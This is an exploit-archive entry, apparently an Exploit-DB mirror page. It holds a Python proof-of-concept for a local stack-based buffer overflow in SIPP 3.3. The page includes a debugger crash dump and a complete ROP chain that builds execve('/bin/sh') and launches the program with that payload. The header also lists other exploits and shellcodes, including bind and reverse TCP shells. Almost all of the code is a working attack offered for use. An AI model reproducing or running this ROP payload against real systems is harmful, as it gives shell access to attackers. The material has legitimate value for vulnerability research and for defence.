444206a6be
21 changes to exploits/shellcodes NASA openVSP 3.16.1 - Denial of Service (PoC) Immunity Debugger 1.85 - Denial of Service (PoC) ipPulse 1.92 - 'TCP Port' Denial of Service (PoC) Fathom 2.4 - Denial Of Service (PoC) Skype Empresarial Office 365 16.0.10730.20053 - 'Dirección de inicio de sesión' Denial of service (PoC) Cisco AnyConnect Secure Mobility Client 4.6.01099 - 'Introducir URL' Denial of Service (PoC) HD Tune Pro 5.70 - Denial of Service (PoC) Drive Power Manager 1.10 - Denial Of Service (PoC) Easy PhotoResQ 1.0 - Denial Of Service (PoC) Trillian 6.1 Build 16 - _Sign In_ Denial of service (PoC) SIPP 3.3 - Stack-Based Buffer Overflow R 3.4.4 - Buffer Overflow (SEH) Eaton Xpert Meter 13.4.0.10 - SSH Private Key Disclosure phpMyAdmin 4.7.x - Cross-Site Request Forgery Episerver 7 patch 4 - XML External Entity Injection Argus Surveillance DVR 4.0.0.0 - Directory Traversal Linux/MIPS64 - execve(/bin/sh) Shellcode (48 bytes) Linux/ARM - execve(_/bin/sh__ [_/bin/sh_]_ NULL) Shellcode (32 Bytes) Linux/x86 - Dual Network Stack (IPv4 and IPv6) Bind TCP Shellcode Linux/x86 - IPv6 Reverse TCP Shellcode Generator (94 bytes) Windows/x64 (10) - WoW64 Egghunter Shellcode (50 bytes)
131 lines
No EOL
5.6 KiB
Python
Executable file
131 lines
No EOL
5.6 KiB
Python
Executable file
# Exploit Author: Juan Sacco <jsacco@exploitpack.com> - http://exploitpack.com
|
|
#
|
|
# Tested on: Kali i686 GNU/Linux
|
|
#
|
|
# Description: SIPP 3.3 is prone to a local unauthenticated stack-based overflow
|
|
# The vulnerability is due to an unproper filter of user suppliedinput while reading
|
|
# the configuration file and parsing the malicious crafted value.
|
|
#
|
|
# Program: SIPP 3.3 Traffic generator for the SIP protocol
|
|
# SIPp is a free Open Source test tool / traffic generator
|
|
# for the SIP protocol. Filename: pool/main/s/sipp/sipp_3.3-1kali2_i386.deb
|
|
#
|
|
# Vendor: http://sipp.sourceforge.net/
|
|
# gdb-peda$ checksec
|
|
# CANARY : disabled
|
|
# FORTIFY : disabled
|
|
# NX : ENABLED
|
|
# PIE : ENABLED
|
|
# RELRO : Partial
|
|
#
|
|
#[----------------------------------registers-----------------------------------]
|
|
# EAX: 0x41414141 ('AAAA')
|
|
# EBX: 0x25 ('%')
|
|
# ECX: 0xb7c9e340 --> 0x4cf8b0 ('A' <repeats 200 times>...)
|
|
# EDX: 0xb7c9e200 --> 0x0
|
|
# ESI: 0xb7ca0748 --> 0x0
|
|
# EDI: 0x0
|
|
# EBP: 0xbfffc898 --> 0xbfffc8c8 --> 0xbfffc8e8 --> 0xbfffc908 -->0xb7c9d000 --> 0x1d4d6c
|
|
# ESP: 0xbfffc898 --> 0xbfffc8c8 --> 0xbfffc8e8 --> 0xbfffc908 -->0xb7c9d000 --> 0x1d4d6c
|
|
# EIP: 0x43cdcf (mov eax,DWORD PTR [eax+0xc])
|
|
# EFLAGS: 0x10216 (carry PARITY ADJUST zero sign trap INTERRUPTdirection overflow)
|
|
# [-------------------------------------code-------------------------------------]
|
|
# 0x43cdc2: call 0x4053e6
|
|
# 0x43cdc7: add eax,0x50239
|
|
# 0x43cdcc: mov eax,DWORD PTR [ebp+0x8]
|
|
# => 0x43cdcf: mov eax,DWORD PTR [eax+0xc]
|
|
# 0x43cdd2: pop ebp
|
|
# 0x43cdd3: ret
|
|
# 0x43cdd4: push ebp
|
|
# 0x43cdd5: mov ebp,esp
|
|
# [------------------------------------stack-------------------------------------]
|
|
# 0000| 0xbfffc898 --> 0xbfffc8c8 --> 0xbfffc8e8 --> 0xbfffc908 -->0xb7c9d000 --> 0x1d4d6c
|
|
# 0004| 0xbfffc89c --> 0x43c159 (add esp,0x10)
|
|
# 0008| 0xbfffc8a0 ("AAAA\377\377\377\377\310\310\377\277C\301C")
|
|
# 0012| 0xbfffc8a4 --> 0xffffffff
|
|
# 0016| 0xbfffc8a8 --> 0xbfffc8c8 --> 0xbfffc8e8 --> 0xbfffc908 -->0xb7c9d000 --> 0x1d4d6c
|
|
# 0020| 0xbfffc8ac --> 0x43c143 (add eax,0x50ebd)
|
|
# 0024| 0xbfffc8b0 --> 0x597ba0 --> 0x0
|
|
# 0028| 0xbfffc8b4 --> 0xffffffff
|
|
# [------------------------------------------------------------------------------]
|
|
# Legend: code, data, rodata, value
|
|
# Stopped reason: SIGSEGV
|
|
# 0x41414141 in ?? ()
|
|
|
|
import os, subprocess
|
|
from struct import pack
|
|
|
|
# rop execve ( bin/sh )
|
|
rop = "A"*2208 # junk
|
|
rop += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop edi; pop ebp ; ret
|
|
rop += pack('<I', 0x0811abe0) # @ .data
|
|
rop += pack('<I', 0x41414141) # padding
|
|
rop += pack('<I', 0x41414141) # padding
|
|
rop += pack('<I', 0x41414141) # padding
|
|
rop += pack('<I', 0x41414141) # padding
|
|
rop += pack('<I', 0x0807b744) # pop eax ; ret
|
|
rop += '/bin'
|
|
rop += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop ebx ;pop ebp ; ret
|
|
rop += pack('<I', 0x41414141) # padding
|
|
rop += pack('<I', 0x41414141) # padding
|
|
rop += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; popedi ;pop ebp ; ret
|
|
rop += pack('<I', 0x0811abe4) # @ .data + 4
|
|
rop += pack('<I', 0x41414141) # padding
|
|
rop += pack('<I', 0x41414141) # padding
|
|
rop += pack('<I', 0x41414141) # padding
|
|
rop += pack('<I', 0x41414141) # padding
|
|
rop += pack('<I', 0x0807b744) # pop eax ; ret
|
|
rop += '//sh'
|
|
rop += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop ebx ;pop ebp ; ret
|
|
rop += pack('<I', 0x41414141) # padding
|
|
rop += pack('<I', 0x41414141) # padding
|
|
rop += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop edi; pop ebp ; ret
|
|
rop += pack('<I', 0x0811abe8) # @ .data + 8
|
|
rop += pack('<I', 0x41414141) # padding
|
|
rop += pack('<I', 0x41414141) # padding
|
|
rop += pack('<I', 0x41414141) # padding
|
|
rop += pack('<I', 0x41414141) # padding
|
|
rop += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret
|
|
rop += pack('<I', 0x41414141) # padding
|
|
rop += pack('<I', 0x41414141) # padding
|
|
rop += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop ebx ;pop ebp ; ret
|
|
rop += pack('<I', 0x41414141) # padding
|
|
rop += pack('<I', 0x41414141) # padding
|
|
rop += pack('<I', 0x080dcf4b) # pop ebx ; pop esi ; pop edi ; ret
|
|
rop += pack('<I', 0x0811abe0) # @ .data
|
|
rop += pack('<I', 0x41414141) # padding
|
|
rop += pack('<I', 0x41414141) # padding
|
|
rop += pack('<I', 0x08067b43) # pop ecx ; ret
|
|
rop += pack('<I', 0x0811abe8) # @ .data + 8
|
|
rop += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop edi; pop ebp ; ret
|
|
rop += pack('<I', 0x0811abe8) # @ .data + 8
|
|
rop += pack('<I', 0x0811abe0) # padding without overwrite ebx
|
|
rop += pack('<I', 0x41414141) # padding
|
|
rop += pack('<I', 0x41414141) # padding
|
|
rop += pack('<I', 0x41414141) # padding
|
|
rop += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret
|
|
rop += pack('<I', 0x41414141) # padding
|
|
rop += pack('<I', 0x41414141) # padding
|
|
rop += pack('<I', 0x080e571f) # inc eax ; ret
|
|
rop += pack('<I', 0x080e571f) # inc eax ; ret
|
|
rop += pack('<I', 0x080e571f) # inc eax ; ret
|
|
rop += pack('<I', 0x080e571f) # inc eax ; ret
|
|
rop += pack('<I', 0x080e571f) # inc eax ; ret
|
|
rop += pack('<I', 0x080e571f) # inc eax ; ret
|
|
rop += pack('<I', 0x080e571f) # inc eax ; ret
|
|
rop += pack('<I', 0x080e571f) # inc eax ; ret
|
|
rop += pack('<I', 0x080e571f) # inc eax ; ret
|
|
rop += pack('<I', 0x080e571f) # inc eax ; ret
|
|
rop += pack('<I', 0x080e571f) # inc eax ; ret
|
|
rop += pack('<I', 0x080c861f) # int 0x80
|
|
|
|
try:
|
|
print("[*] SIPP 3.3 Buffer Overflow by Juan Sacco")
|
|
print("[*] Please wait.. running")
|
|
subprocess.call(["sipp ", rop])
|
|
except OSError as e:
|
|
if e.errno == os.errno.ENOENT:
|
|
print "SIPP not found!"
|
|
else:
|
|
print "Error executing exploit"
|
|
raise |